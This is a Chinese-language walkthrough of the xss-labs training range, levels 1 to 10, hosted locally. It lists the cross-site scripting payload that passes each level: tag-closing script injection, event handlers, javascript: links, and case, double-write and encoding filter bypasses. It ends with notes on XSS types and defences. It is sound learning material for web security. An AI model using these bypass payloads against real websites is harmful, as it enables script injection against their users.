一、环境搭建
使用phpstudy_pro 2018:
启动apache和mysql服务
下载xss-labs靶场代码
将代码放入网站根目录
打开浏览器
访问本地主机
127.0.0.1/xss-labs-master
来到闯关页面
level1
在url中有name值可以输入
进行xss注入
使用老朋友闭合标签 替换test
'"><script>alert('aini');</script>
下一关
level2
显示有一个文本框可以输入
再次使用闭合标签
'"><script>alert('aini');</script>
下一关
level3
输入闭合标签但是没过
检查一下
<替换掉了
输入事件函数
" οnclick="alert(123)
点击触发事件
过关
level4
同理 下一关
level5
对o进行过滤了
换输入其他标签
'"><a href='javascript:alert(123);'>点击我</a>
level6
过滤了href
试试大写
'"><a HREF='javascript:alert(123);'>点击我</a>
level7
大小写整体替换了
试试双写
" oonnclick="alert(123)
成功
level8
看来还是过滤了
尝试编码绕过
javascript:alert("jaden")
level9
javascript:alert("jaden")//http://www.baidu.com
level10
传值
keyword=well%20done!&t_lick=aa&t_history=bb&t_sort='" type='text' οnclick='alert(123)'
第十关完成啦
知识点:
反射型XSS 中危
交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。
储存型XSS 高危
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性
DOM XSS 低危
不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞
常规防范
前端限制绕过
大小写混合
双写绕过
编码
注释干扰后台绕过
没有分号
对输入进行过滤,对输出进行html实体编码
加CDN 防护, 代码层过滤,数据库层过滤,自己搭建防火墙,还可以开启 HttpOnly